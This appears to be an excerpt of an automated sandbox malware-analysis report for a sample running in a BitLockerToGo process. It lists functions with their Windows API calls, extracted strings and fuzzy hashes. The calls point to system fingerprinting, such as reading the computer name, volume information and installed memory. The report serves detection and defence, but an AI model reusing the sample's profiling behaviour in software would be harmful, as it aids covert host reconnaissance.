Opcode ID: ffd410ab78e7f3b112ca411c81cedb4f5307960b34125f219934c4b78fe060f0
Instruction ID: 397be9ff037f646e9f71634710ddaf264655947a536f9fcebb2eae5914496274
Opcode Fuzzy Hash: ffd410ab78e7f3b112ca411c81cedb4f5307960b34125f219934c4b78fe060f0
Instruction Fuzzy Hash: A54188781083419FE310CF14D889B5BBBE4FBC6715F10891CF5C89A2A1CBB69949CF96

Function 0042FD63 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 542
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042FE47
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042FE7E
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042FF96

Strings

_P\e, xrefs: 0042FDAA

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ComputerName$FreeLibrary
String ID: _P\e
API String ID: 2243422189-4114639319
Opcode ID: 2f4f54491f6aa93243f1cf79f6d8829f01310c533aae26db0dde3773ae084428
Instruction ID: efd6f750eb95c3ff3ba8a7cdef71ee63ec0f3e4d7050a0381c3b1bc9f1318b6e
Opcode Fuzzy Hash: 2f4f54491f6aa93243f1cf79f6d8829f01310c533aae26db0dde3773ae084428
Instruction Fuzzy Hash: 5E02C870105B818EE7358F35C4A17B3BBE1AF57304F484AAED4EA8B382D739A509C765

Function 0042A4D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 292
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P+P), xrefs: 0042AD94
(', xrefs: 0042AD9C
_p, xrefs: 0042ABE4

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ('$P+P)$_p
API String ID: 0-1584404448
Opcode ID: 0d9cf72fc8347ee5fd2832af1e30783417006399e9ed0880644a954c1721fa44
Instruction ID: 6dea4c731ee9a7975b254bd24a711b3eefb102b32f57c46570b6ef4cd6a6d592
Opcode Fuzzy Hash: 0d9cf72fc8347ee5fd2832af1e30783417006399e9ed0880644a954c1721fa44
Instruction Fuzzy Hash: B7A1CBB5A09350CFE3209F25E88025BBBE1FBC6718F444A2DF4C44B291E7798909CB97

Function 00429FE0 Relevance: 5.4, Strings: 4, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

cjkf, xrefs: 0042A41C
/\K, xrefs: 0042A442
C\K, xrefs: 0042A478
i!fY, xrefs: 0042A424

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: /\K$C\K$cjkf$i!fY
API String ID: 2994545307-2760849073
Opcode ID: 387427b0b10bc28b99ec5eca227ed5ef1db93da8e779cc8afa3f9cf2f65a9b82
Instruction ID: 700c5670fb3c9c20f47da7c9336e4595e6374c30db57a28f2eec967bcbf2721c
Opcode Fuzzy Hash: 387427b0b10bc28b99ec5eca227ed5ef1db93da8e779cc8afa3f9cf2f65a9b82
Instruction Fuzzy Hash: EFC18B72B083208BD714DE28D84123BB7D2EB95314F58857EED8597381E679DC16838B

Function 0040FE86 Relevance: 4.2, Strings: 3, Instructions: 409COMMON

Download Yara Rule

Strings

C{, xrefs: 00410144
wI, xrefs: 0041014C
KH, xrefs: 0041013C

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: C{$KH$wI
API String ID: 0-157203947
Opcode ID: 6bbccb6c3ec29a07ce4e3067424af604fe1f3197f405a8b48882e3480d3a1411
Instruction ID: 5a1d5bcfb37b6caf92971c00b67b9f2b61a6e481f430d70ebd1b0fab732dd71c
Opcode Fuzzy Hash: 6bbccb6c3ec29a07ce4e3067424af604fe1f3197f405a8b48882e3480d3a1411
Instruction Fuzzy Hash: 7BC12274608341DBD3249F64EC9076BBBE0EF86304F04893DE5C997261EB79C946CB5A

Function 00430417 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 451COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004305BC

Strings

-'.$, xrefs: 004307C6

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: -'.$
API String ID: 3960555810-2031752551
Opcode ID: 84819c11fe3172805991be54bcd6bd9f21ac9f1dfa81a224850982c9a8e8c1f1
Instruction ID: 4ac50953f9a0de550c4c4ae2e7a88b58c794244169fc653cc758ba5e71b8bb0f
Opcode Fuzzy Hash: 84819c11fe3172805991be54bcd6bd9f21ac9f1dfa81a224850982c9a8e8c1f1
Instruction Fuzzy Hash: 1DE1DB75505B818FE325CF39C4507A3FBE2AF96304F088AAEC0EA8B752D739A505CB55

Function 004309A1 Relevance: 3.0, Strings: 2, Instructions: 534COMMON

Download Yara Rule

Strings

ZZcd, xrefs: 00430A36
w%pb, xrefs: 00430A2C

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ZZcd$w%pb
API String ID: 0-2617558804
Opcode ID: fb6b9969ca16c392712c9b32b0d3b378ea7b5fcf45fd3129d860c78818b58b66
Instruction ID: 2d8657e790b194c8be43008f2260b38e5f5fbc8901ff7ca0d86f05e99f3e131e
Opcode Fuzzy Hash: fb6b9969ca16c392712c9b32b0d3b378ea7b5fcf45fd3129d860c78818b58b66
Instruction Fuzzy Hash: 6CF127B0504B818BD7358F35C4607B3FBE1AFA6304F189AAEC0D787292D778A546C769

Function 00446E50 Relevance: 2.8, Strings: 2, Instructions: 305COMMON

Download Yara Rule

Strings

2;:9, xrefs: 0044702C
, xrefs: 00446ED5, 00446EE6, 00447065, 00447076, 004470B1

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2;:9$
API String ID: 0-2585926393
Opcode ID: f132422ba27ef4af5c5a84d963810ce6261f19c463f40ec551641e80f88a8d1f
Instruction ID: d049218382524de6c71eb953ebe04dd1f1d42051e67aff3c3122271904e12227
Opcode Fuzzy Hash: f132422ba27ef4af5c5a84d963810ce6261f19c463f40ec551641e80f88a8d1f
Instruction Fuzzy Hash: 999147326083108FD7288F28D89166BF7E2EBD5314F1A892EE8D55B391D775EC06C786

Function 00446600 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

, xrefs: 00446625, 00446636, 00446735, 00446746

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: 0c19f6c4287a4481748e8b760a3038ad12b265c1c6c6600c94dc8917dc866dde
Instruction ID: 1c5520b8289ff864435fe2a69271e0aad5424931f9995e7acb6d29c3464857c0
Opcode Fuzzy Hash: 0c19f6c4287a4481748e8b760a3038ad12b265c1c6c6600c94dc8917dc866dde
Instruction Fuzzy Hash: 487117316043019BEB14EF28D951A2BB7E2EFD6754F1AC42EE8858B355EB34EC118747

Function 00442710 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004465F2,?,00000004,?,?,00000018,?), ref: 0044273E

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction ID: 88b266f08c8d8dc656098dc4a5309144cffe720ba9f358246b073a6e310c2786
Opcode Fuzzy Hash: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction Fuzzy Hash: 47E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00446040 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

@, xrefs: 004460F1

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: b620152f36f17caeb2217b7fd88a9ce65900b1491f76b837e4fb822b75d065f0
Instruction ID: 6c2a2533986f9a6c57199ddd1b071ebe688dac7b9e74ac564ce8f1a233921143
Opcode Fuzzy Hash: b620152f36f17caeb2217b7fd88a9ce65900b1491f76b837e4fb822b75d065f0
Instruction Fuzzy Hash: AF4127B09043008BE714DF28D88576BB7F0FF96318F15862EE499573A2E7799904C79B

Function 004464F0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 00446559

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 021d14861146ca7bd4796ee5291b4df173cfbf7747401b04b16f2cf082670e47
Instruction ID: cbe6ba5825563ceb8cb44401a2ad3a7ce6a2005b85b4a9f4710e4d403184df47
Opcode Fuzzy Hash: 021d14861146ca7bd4796ee5291b4df173cfbf7747401b04b16f2cf082670e47
Instruction Fuzzy Hash: 2C21F0714083009FD314DF28E88166BBBF8FF96314F15892EEA9447391D7399808CB5B

Function 0042EE3D Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9df6522e2f1cca3957c57f98055dcbfd196edf23b173b1ec72ab5ce698d2fddc
Instruction ID: 409027c6a4c1faaf10a83b04618c38e77f36ed44be96c568a3acd16d235f34df
Opcode Fuzzy Hash: 9df6522e2f1cca3957c57f98055dcbfd196edf23b173b1ec72ab5ce698d2fddc
Instruction Fuzzy Hash: 11815A317047408BE3258F25D991BA3BBD3EB92301F58847ED4918B386C77DA806C728

Function 0040DE90 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2965df30f234f2df1b2eb3bb3a9297b0be10da4271bf461779c0c4a9c7c652
Instruction ID: 9faf9d2ba538089567e59372a320b96e5e95850dd821da7f6d836ec4575114ba
Opcode Fuzzy Hash: ef2965df30f234f2df1b2eb3bb3a9297b0be10da4271bf461779c0c4a9c7c652
Instruction Fuzzy Hash: CA41E876804300AFE721AF11FD017BA7BE1EB9531AF58453DE4886B373E73588158B99

Function 0043D028 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 279
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0043D0C3
SysAllocString.OLEAUT32(77AB79D7), ref: 0043D1B1
VariantInit.OLEAUT32(?), ref: 0043D22F

Strings

(), xrefs: 0043D12D

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocString$InitVariant
String ID: ()
API String ID: 3074814690-1580606521
Opcode ID: cbb28492575553f69fd408189c509c55d37cf6aa771118416af5257a742d0982
Instruction ID: 19a721f75bc935f390a1e5941c53c0c159c65e9f3490a5adac5fdcf0d8ef2ec1
Opcode Fuzzy Hash: cbb28492575553f69fd408189c509c55d37cf6aa771118416af5257a742d0982
Instruction Fuzzy Hash: BB91CC76A083019FD314CF64D880A9ABBE5FFC6700F15892CE9D4AB2A5C774D906CB96

Function 0040CED0 Relevance: 6.0, APIs: 4, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040CF15
GetForegroundWindow.USER32 ref: 0040CF1B
GetCurrentProcessId.KERNEL32 ref: 0040CF25
ExitProcess.KERNEL32 ref: 0040CF45

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID:
API String ID: 3118123366-0
Opcode ID: b2f7bf4193498196c65cc3eacf7fb00409c3d30f66b0170974dd11af1f518ea6
Instruction ID: 554cb3f22e5e397e520f3045255adef2d5194ae4360cf6ac652a5f5ba8e45881
Opcode Fuzzy Hash: b2f7bf4193498196c65cc3eacf7fb00409c3d30f66b0170974dd11af1f518ea6
Instruction Fuzzy Hash: 9EF0B430044141D7D7107B75654939E67515F53349F11553EE881A73D2EA3C4449C66F

Function 00442630 Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 004426CC

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5f1e7ab3bcaa4f276b89a2401268ac02ed99cb668f5fb5d6a3cbc785b5404c08
Instruction ID: bcc3a662999f866444b112037d2392ff6d773eb9dc5e8852d22e008d96859871
Opcode Fuzzy Hash: 5f1e7ab3bcaa4f276b89a2401268ac02ed99cb668f5fb5d6a3cbc785b5404c08
Instruction Fuzzy Hash: BC1157B6B083028FE3049E65ED807A7B75AFBCA305F094638E9C853642D5B9E8098695

Function 0043F710 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043F76A

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 1f71666df391aa4a87eabe19eb44386721a075ebcc73a53839e88d0bacf69ff8
Instruction ID: cb981006c1a3dabf183fdf115dfd7e517efd59c81eb2d647cd2f4fa60a17fa45
Opcode Fuzzy Hash: 1f71666df391aa4a87eabe19eb44386721a075ebcc73a53839e88d0bacf69ff8
Instruction Fuzzy Hash: 96F027746063509FE7085B78ACA1A3B7BD4EF66315F24053DE582936A1C6259C21CA86

Function 0043F6A0 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,004426DA), ref: 0043F6ED

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a015b1a2f3e4e192720d3afb3866816aa8325f49e4ee1bd60682941cefd4451
Instruction ID: 8cba3ba56d7e1352ab413d5837bc702c3c4840c278b3d095aa1a88c3d8300856
Opcode Fuzzy Hash: 2a015b1a2f3e4e192720d3afb3866816aa8325f49e4ee1bd60682941cefd4451
Instruction Fuzzy Hash: 80F0E5706883849FD3189F20CC91FBB7B95EB99354F240D7CE59587BA3C2694C01CB85

Function 00442C8A Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00442CC0

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a1b4fe6646263eb80f424139902ef8b91870b46172e1dd2cba4177293bab01fd
Instruction ID: f92112bc817934ae3091856df302bd1e7a1d1d6f05b5523c1bad46fc826dbb57
Opcode Fuzzy Hash: a1b4fe6646263eb80f424139902ef8b91870b46172e1dd2cba4177293bab01fd
Instruction Fuzzy Hash: F7F020BAA082418FEB018F38E89256A77A0FB17315B08083AE152C7292C2789482CF09

Function 0043D598 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043D5DC

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 825e4bb11b892ec0d1815982e77ff3a41e0a0fdf7e774b37ef02c67ee175b479
Instruction ID: 646c41fa352a87fdcbe1464ad9b18e82e351b1e297e627df2111d947e0c21c35
Opcode Fuzzy Hash: 825e4bb11b892ec0d1815982e77ff3a41e0a0fdf7e774b37ef02c67ee175b479
Instruction Fuzzy Hash: 67E06734BC030176F5322B216D03F3A2A169B52F6BF300165BB483C1E3A6D57699D56D

Function 004429E6 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00442CC0

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: e880c25df91c2ca0575f44f77806ee1b54c78b022a0c841fc851684192607cda
Instruction ID: 5a497ba80e89411dd4e8141d1dbb84b2c3ca3211f85337ebb7c9ba1eeb67a141
Opcode Fuzzy Hash: e880c25df91c2ca0575f44f77806ee1b54c78b022a0c841fc851684192607cda
Instruction Fuzzy Hash: 93E0127A905600DFDB14DF54F89146873B0FB0931AB54042AE542D3352C634A951CF5A

Function 0043453D Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00434583

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 55b539834acdcc0c5bb71a397335d67283f0d8037f15eabc95923ace176a2385
Instruction ID: fe09de938e917814381b934cabb4eee728d2edb2d0c991108fda0c89255ec741
Opcode Fuzzy Hash: 55b539834acdcc0c5bb71a397335d67283f0d8037f15eabc95923ace176a2385
Instruction Fuzzy Hash: D8F02EB4109701CFE311DF25D1A871ABBF0FB85308F10895CE5958B360C7769959CF82

Function 00435B85 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00435BCC

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9f1b4d2b18b046abd3f3ecac286f8308bfe36a7d75397ff7b73e06c54f1cd8d6
Instruction ID: a1a64b36332589802b6460eb5d31805cc55d2de3cd8c9222a3aa3bcbfdcd9d92
Opcode Fuzzy Hash: 9f1b4d2b18b046abd3f3ecac286f8308bfe36a7d75397ff7b73e06c54f1cd8d6
Instruction Fuzzy Hash: 80F04EB410C341DFE325DF14C1A875BBBE4BB85308F10890CE4984B290C7BA9A498F83

Function 0043D5BB Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043D5DC

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f32fbd1f96f39cba9b7c7bf492129bfd39b36efef325d538d9f6236e9abdf8ff
Instruction ID: 20f4974a1b66aab9a794fa07b24c3f8c1e65480b4df5a2899c41e708d99b2540
Opcode Fuzzy Hash: f32fbd1f96f39cba9b7c7bf492129bfd39b36efef325d538d9f6236e9abdf8ff
Instruction Fuzzy Hash: 5FD04C34BC0301B6F5311B116D03F2526155752F57F300165BB453C1E3A6E57655D56D

Function 0043D004 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043D016

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 90c690eb5f84e481181132682a37fa368dc52d86d0bef32f5beee5f5cff6a508
Instruction ID: 030883676bd727497d3d569c441341cbeb05adf045116bcd78c101c65807591f
Opcode Fuzzy Hash: 90c690eb5f84e481181132682a37fa368dc52d86d0bef32f5beee5f5cff6a508
Instruction Fuzzy Hash: 2ED04C343D4304B7F2310B15EC17F0535157742F03F201021B781BC0E189F26220961E

Function 0043D492 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 0043D49A

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: dce5343581c555c157c084f6ca29dc8ca6a4622afdabdf873cb1a49e7f8e738f
Instruction ID: 1b828c0c754d10f76823e82649a43e7c6d79b885f9c2b52c5db0f1ca39ad390f
Opcode Fuzzy Hash: dce5343581c555c157c084f6ca29dc8ca6a4622afdabdf873cb1a49e7f8e738f
Instruction Fuzzy Hash: 4CD0C978005300DFC7009FA0D84CA0ABBB4FF8A306F1088A8F54987321CB36D881CF12

Non-executed Functions

Function 0043B91D Relevance: 71.6, Strings: 57, Instructions: 312COMMON

Download Yara Rule

Strings

u, xrefs: 0043B961
a, xrefs: 0043B953
x, xrefs: 0043BD61
u, xrefs: 0043BAB1
w, xrefs: 0043B98B
w, xrefs: 0043BBD5
y, xrefs: 0043BC0D
u, xrefs: 0043BBDD
_, xrefs: 0043BB75
", xrefs: 0043BAE9
[, xrefs: 0043BB85
k, xrefs: 0043B937
|, xrefs: 0043BD51
q, xrefs: 0043BD69
o, xrefs: 0043BA5D
I, xrefs: 0043BBCD
e, xrefs: 0043BC1D
Q, xrefs: 0043BB6D
}, xrefs: 0043BBFD
K, xrefs: 0043BBC5
U, xrefs: 0043BB5D
{, xrefs: 0043BC05
e, xrefs: 0043BA87
q, xrefs: 0043BBED
A, xrefs: 0043BBAD
b, xrefs: 0043BBA9
y, xrefs: 0043B96F
Y, xrefs: 0043BB8D
s, xrefs: 0043BBE5
C, xrefs: 0043BBA5
9, xrefs: 0043BB39
r, xrefs: 0043BB69
M, xrefs: 0043BBBD
O, xrefs: 0043BBB5
f, xrefs: 0043BC19
b, xrefs: 0043BD49
G, xrefs: 0043BB95
t, xrefs: 0043B9B5
;, xrefs: 0043BB31
h, xrefs: 0043BBD1
], xrefs: 0043BB7D
=, xrefs: 0043BAF7
s, xrefs: 0043BADB
], xrefs: 0043BAA3
g, xrefs: 0043BC15
E, xrefs: 0043BB9D
W, xrefs: 0043BB55
S, xrefs: 0043BB65
i, xrefs: 0043BA33
(, xrefs: 0043BB05
m, xrefs: 0043BD41
L, xrefs: 0043BB29
:, xrefs: 0043BB13
F, xrefs: 0043BB49
x, xrefs: 0043B9A7
0, xrefs: 0043B929
8, xrefs: 0043BB41

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "$($0$8$9$:$;$=$A$C$E$F$G$I$K$L$M$O$Q$S$U$W$Y$[$]$]$_$a$b$b$e$e$f$g$h$i$k$m$o$q$q$r$s$s$t$u$u$u$w$w$x$x$y$y${$|$}
API String ID: 0-2883926043
Opcode ID: 9b744aa167b6ce47d4037d1fc40b597c5bad1e8f910a236c1d59013e09a742d9
Instruction ID: cdf08248a576656c39d75a6f4e2f02b4a5b6f944e770dc15bb1f54a4ae94bd3d
Opcode Fuzzy Hash: 9b744aa167b6ce47d4037d1fc40b597c5bad1e8f910a236c1d59013e09a742d9
Instruction Fuzzy Hash: CDF1FD11D0CBE989DB32C67C4C0878DAE611B67234F0843D9D5F96B3D3C7690A46CB66

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

gfff, xrefs: 00401D18
, xrefs: 004037A9
, xrefs: 004037A2
, xrefs: 0040378D
gfff, xrefs: 00401D03
gfff, xrefs: 00401D75
gfff, xrefs: 00401DBF
0123456789abcdefxp, xrefs: 004013FA, 0040146C
, xrefs: 00403826
, xrefs: 0040379B
, xrefs: 004037B0
-, xrefs: 00401CCD
, xrefs: 00403794
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 4688b2b43ab63ef7a6da01349447995b98ef1e8e7db967d5f962d2d7eb776118
Instruction ID: 101777ef22c6754d8b64c349831144d5e0a61e6f468e081381994eb0c170f9ac
Opcode Fuzzy Hash: 4688b2b43ab63ef7a6da01349447995b98ef1e8e7db967d5f962d2d7eb776118
Instruction Fuzzy Hash: 14E2D2716083418FC718CF28C49436BBBE2AF95314F18867EE495AB3D1D778D949CB8A

Function 004012D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0000, xrefs: 004027B3
0000, xrefs: 004027C8
i, xrefs: 00402A7E
0, xrefs: 00402151
0, xrefs: 00402449
0000, xrefs: 004027A5
